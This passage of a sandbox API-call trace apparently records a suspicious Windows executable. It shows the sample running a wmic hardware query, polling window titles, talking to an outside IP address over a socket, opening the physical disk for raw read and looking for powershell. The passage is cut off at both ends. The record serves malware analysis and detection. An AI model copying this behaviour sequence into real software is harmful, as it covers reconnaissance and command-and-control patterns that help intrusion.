ftCreationTime.dwHighDateTime=0x1d5acdd, ftLastAccessTime.dwLowDateTime=0x428e9c2, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0xde745e4d, ftLastWriteTime.dwHighDateTime=0x1d5acdd, nFileSizeHigh=0x0, nFileSizeLow=0x80a00)) returned 1 [0190.203] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x2dc [0190.204] GetConsoleMode (in: hConsoleHandle=0x2dc, lpMode=0xc000adf85c | out: lpMode=0xc000adf85c) returned 0 [0190.204] GetFileType (hFile=0x2dc) returned 0x2 [0190.204] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CreatePipe") returned 0x7fffcb4601f0 [0190.204] CreatePipe (in: hReadPipe=0xc000adf8b8, hWritePipe=0xc000adf8b0, lpPipeAttributes=0xc000adf8c0, nSize=0x0 | out: hReadPipe=0xc000adf8b8*=0x2e4, hWritePipe=0xc000adf8b0*=0x2fc) returned 1 [0190.205] CreatePipe (in: hReadPipe=0xc000adf880, hWritePipe=0xc000adf878, lpPipeAttributes=0xc000adf888, nSize=0x0 | out: hReadPipe=0xc000adf880*=0x2bc, hWritePipe=0xc000adf878*=0x2a0) returned 1 [0190.205] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetEnvironmentStringsW") returned 0x7fffcb45f630 [0190.205] GetEnvironmentStringsW () returned 0x166d50* [0190.205] GetProcAddress (hModule=0x7fffcb440000, lpProcName="FreeEnvironmentStringsW") returned 0x7fffcb45f650 [0190.205] FreeEnvironmentStringsW (penv=0x166d50) returned 1 [0190.205] LoadLibraryExW (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcca30000 [0190.206] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlGetNtVersionNumbers") returned 0x7fffccb03920 [0190.206] RtlGetNtVersionNumbers () returned 0xf0004a61 [0190.206] GetCurrentProcess () returned 0xffffffffffffffff [0190.206] GetProcAddress (hModule=0x7fffcb440000, lpProcName="DuplicateHandle") returned 0x7fffcb464890 [0190.206] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0007447f8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0007447f8*=0x308) returned 1 [0190.206] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000744800, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000744800*=0x320) returned 1 [0190.206] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2a0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000744808, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000744808*=0x324) returned 1 [0190.206] GetProcAddress (hModule=0x7fffcb440000, lpProcName="InitializeProcThreadAttributeList") returned 0x7fffca805cd0 [0190.206] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf600 | out: lpAttributeList=0x0, lpSize=0xc000adf600) returned 0 [0190.206] InitializeProcThreadAttributeList (in: lpAttributeList=0xc00074a550, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf600 | out: lpAttributeList=0xc00074a550, lpSize=0xc000adf600) returned 1 [0190.207] GetProcAddress (hModule=0x7fffcb440000, lpProcName="UpdateProcThreadAttribute") returned 0x7fffca802010 [0190.207] UpdateProcThreadAttribute (in: lpAttributeList=0xc00074a550, dwFlags=0x0, Attribute=0x20002, lpValue=0xc0007447f8, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc00074a550, lpPreviousValue=0x0) returned 1 [0190.207] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CreateProcessW") returned 0x7fffcb45cb00 [0190.207] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\wmic.exe", lpCommandLine="wmic path win32_VideoController get name", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000020000, lpCurrentDirectory=0x0, lpStartupInfo=0xc000adf810*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x308, hStdOutput=0x320, hStdError=0x324), lpProcessInformation=0xc000adf6f0 | out: lpCommandLine="wmic path win32_VideoController get name", lpProcessInformation=0xc000adf6f0*(hProcess=0x26c, hThread=0x2f4, dwProcessId=0x1224, dwThreadId=0x5b0)) returned 1 [0190.222] CloseHandle (hObject=0x2f4) returned 1 [0190.222] GetProcAddress (hModule=0x7fffcb440000, lpProcName="DeleteProcThreadAttributeList") returned 0x7fffca80c020 [0190.222] DeleteProcThreadAttributeList (in: lpAttributeList=0xc00074a550 | out: lpAttributeList=0xc00074a550) [0190.222] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x324, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0190.222] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x320, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0190.223] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x308, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0190.223] SetEvent (hEvent=0x1b8) returned 1 [0190.224] CloseHandle (hObject=0x2dc) returned 1 [0190.224] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CancelIoEx") returned 0x7fffcb45ffe0 [0190.224] CancelIoEx (hFile=0x2fc, lpOverlapped=0x0) returned 0 [0190.224] CloseHandle (hObject=0x2fc) returned 1 [0190.224] CancelIoEx (hFile=0x2a0, lpOverlapped=0x0) returned 0 [0190.224] CloseHandle (hObject=0x2a0) returned 1 [0190.224] GetProcAddress (hModule=0x7fffcb440000, lpProcName="WaitForSingleObject") returned 0x7fffcb464a70 [0190.224] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0xffffffff) returned 0x0 [0191.855] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetExitCodeProcess") returned 0x7fffcb45d000 [0191.855] GetExitCodeProcess (in: hProcess=0x26c, lpExitCode=0xc000adfa54 | out: lpExitCode=0xc000adfa54*=0x0) returned 1 [0191.856] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetProcessTimes") returned 0x7fffcb45aa70 [0191.856] GetProcessTimes (in: hProcess=0x26c, lpCreationTime=0xc000996340, lpExitTime=0xc000996348, lpKernelTime=0xc000996350, lpUserTime=0xc000996358 | out: lpCreationTime=0xc000996340, lpExitTime=0xc000996348, lpKernelTime=0xc000996350, lpUserTime=0xc000996358) returned 1 [0191.856] CloseHandle (hObject=0x26c) returned 1 [0191.856] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0191.856] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0191.879] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x1e92, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0195.714] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0195.719] SetEvent (hEvent=0x104) returned 1 [0195.719] LoadLibraryExW (lpLibFileName="user32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb7a0000 [0195.720] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="GetForegroundWindow") returned 0x7fffcb7d36a0 [0195.720] GetForegroundWindow () returned 0x401fe [0195.720] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="GetWindowTextLengthW") returned 0x7fffcb7aa200 [0195.720] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0195.722] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="GetWindowTextW") returned 0x7fffcb7ac2f0 [0195.722] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc00074ad20, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0195.723] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x1f4, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0196.239] SetEvent (hEvent=0x104) returned 1 [0196.239] GetForegroundWindow () returned 0x401fe [0196.239] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0196.240] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc0000520a0, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0196.241] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0196.798] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0197.345] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x176, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0197.725] SetEvent (hEvent=0x104) returned 1 [0197.725] GetForegroundWindow () returned 0x401fe [0197.725] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0197.728] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc00074adc0, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0197.729] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x1ee, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0198.224] SetEvent (hEvent=0x104) returned 1 [0198.224] GetForegroundWindow () returned 0x401fe [0198.225] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0198.225] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc000052140, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0198.226] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0198.756] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0199.500] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0xc1, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0199.722] SetEvent (hEvent=0x104) returned 1 [0199.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0199.768] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x1c5, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0200.235] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x24f2, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0200.278] WSAGetOverlappedResult (in: s=0x308, lpOverlapped=0xc00072a5e8, lpcbTransfer=0x5ff4f4, fWait=0, lpdwFlags=0x5ff500 | out: lpcbTransfer=0x5ff4f4, lpdwFlags=0x5ff500) returned 1 [0200.278] GetProcAddress (hModule=0x7fffcc020000, lpProcName="setsockopt") returned 0x7fffcc0310a0 [0200.278] setsockopt (s=0x308, level=65535, optname=28688, optval="\x08\x03", optlen=8) returned 0 [0200.279] SetEvent (hEvent=0x1ac) returned 1 [0200.279] GetProcAddress (hModule=0x7fffcc020000, lpProcName="getsockname") returned 0x7fffcc0308e0 [0200.279] getsockname (in: s=0x308, name=0xc0006d907c, namelen=0xc0006d9078 | out: name=0xc0006d907c*(sa_family=2, sin_port=0xc285, sin_addr="192.168.0.30"), namelen=0xc0006d9078) returned 0 [0200.279] GetProcAddress (hModule=0x7fffcc020000, lpProcName="getpeername") returned 0x7fffcc031ef0 [0200.279] getpeername (in: s=0x308, name=0xc0006d907c, namelen=0xc0006d9078 | out: name=0xc0006d907c*(sa_family=2, sin_port=0x5a5, sin_addr="147.45.47.37"), namelen=0xc0006d9078) returned 0 [0200.280] setsockopt (s=0x308, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0200.281] setsockopt (s=0x308, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0200.281] WSAIoctl (in: s=0x308, dwIoControlCode=0x98000004, lpvInBuffer=0xc0006d92c4, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0006d92b4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0006d92b4, lpOverlapped=0x0) returned 0 [0200.284] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSARecv") returned 0x7fffcc030500 [0200.285] WSARecv (in: s=0x308, lpBuffers=0xc00072a558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc00072a548, lpFlags=0xc00072a5c8*=0x0, lpOverlapped=0xc00072a518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc00072a558*=((len=0x1000, buf=0xc0008d7000*)), lpNumberOfBytesRecvd=0xc00072a548*=0x0, lpFlags=0xc00072a5c8*=0x0, lpOverlapped=0xc00072a518) returned 0 [0200.287] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSASend") returned 0x7fffcc021f60 [0200.287] WSASend (in: s=0x308, lpBuffers=0xc00072a628*=((len=0x70, buf=0xc00002e000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc00072a618, dwFlags=0x0, lpOverlapped=0xc00072a5e8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc00072a618*=0x70, lpOverlapped=0xc00072a5e8) returned 0 [0200.287] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0200.287] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x4fd9, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0200.288] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0200.288] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x24c7, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0200.301] WSAGetOverlappedResult (in: s=0x308, lpOverlapped=0xc00072a518, lpcbTransfer=0x5ff4f4, fWait=0, lpdwFlags=0x5ff500 | out: lpcbTransfer=0x5ff4f4, lpdwFlags=0x5ff500) returned 1 [0200.304] SetEvent (hEvent=0x1ac) returned 1 [0200.304] WSARecv (in: s=0x308, lpBuffers=0xc00072a558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc00072a548, lpFlags=0xc00072a5c8*=0x0, lpOverlapped=0xc00072a518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc00072a558*=((len=0x1000, buf=0xc0008d7000*)), lpNumberOfBytesRecvd=0xc00072a548*=0xa5, lpFlags=0xc00072a5c8*=0x0, lpOverlapped=0xc00072a518) returned 0 [0200.304] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0200.304] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0200.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0200.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x24b8, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 1 [0200.308] WSAGetOverlappedResult (in: s=0x308, lpOverlapped=0xc00072a518, lpcbTransfer=0x5ff4f4, fWait=0, lpdwFlags=0x5ff500 | out: lpcbTransfer=0x5ff4f4, lpdwFlags=0x5ff500) returned 1 [0200.308] SetEvent (hEvent=0x1ac) returned 1 [0200.309] GetProcAddress (hModule=0x7fffcc020000, lpProcName="closesocket") returned 0x7fffcc025000 [0200.309] closesocket (s=0x308) returned 0 [0200.312] GetEnvironmentVariableW (in: lpName="PROGRAMDATA", lpBuffer=0xc000a2cc30, nSize=0x64 | out: lpBuffer="") returned 0xe [0200.312] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c00*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c00*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.334] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c18*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c18*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.335] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c30*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c30*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.336] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c48*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c48*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.337] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c60*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c60*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.346] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c78*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c78*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.351] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744c90*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744c90*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.356] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744ca8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf640, lpReserved=0x0 | out: lpBuffer=0xc000744ca8*, lpNumberOfCharsWritten=0xc000adf640*=0x9) returned 1 [0200.361] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE0" (normalized: "\\device\\harddisk0\\dr0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x308 [0200.368] GetConsoleMode (in: hConsoleHandle=0x308, lpMode=0xc000adfb2c | out: lpMode=0xc000adfb2c) returned 0 [0200.368] GetFileType (hFile=0x308) returned 0x1 [0200.369] LoadLibraryExW (lpLibFileName="user32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb7a0000 [0200.369] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="MessageBoxW") returned 0x7fffcb81b040 [0200.369] MessageBoxW (hWnd=0x0, lpText="OK?", lpCaption="Software", uType=0x40) returned 1 [0202.134] GetEnvironmentVariableW (in: lpName="PROGRAMDATA", lpBuffer=0xc000a2cd00, nSize=0x64 | out: lpBuffer="") returned 0xe [0202.135] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d08*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d08*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.229] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d20*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d20*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.310] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d38*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d38*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.326] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d50*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d50*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.331] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d68*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d68*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.340] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d80*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d80*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.351] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744d98*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744d98*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.357] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744db0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744db0*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.362] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744dc8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744dc8*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.370] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744de0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744de0*, lpNumberOfCharsWritten=0xc000adf530*=0xc) returned 1 [0202.375] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2cdd0, nSize=0x64 | out: lpBuffer="") returned 0x35 [0202.376] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc000a2cea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0202.376] GetFileAttributesExW (in: lpFileName="powershell.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.377] CreateFileW (lpFileName="powershell.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.378] GetFileAttributesExW (in: lpFileName="powershell.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.378] CreateFileW (lpFileName="powershell.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.378] GetFileAttributesExW (in: lpFileName="powershell.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.378] CreateFileW (lpFileName="powershell.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.378] GetFileAttributesExW (in: lpFileName="powershell.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.378] CreateFileW (lpFileName="powershell.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, 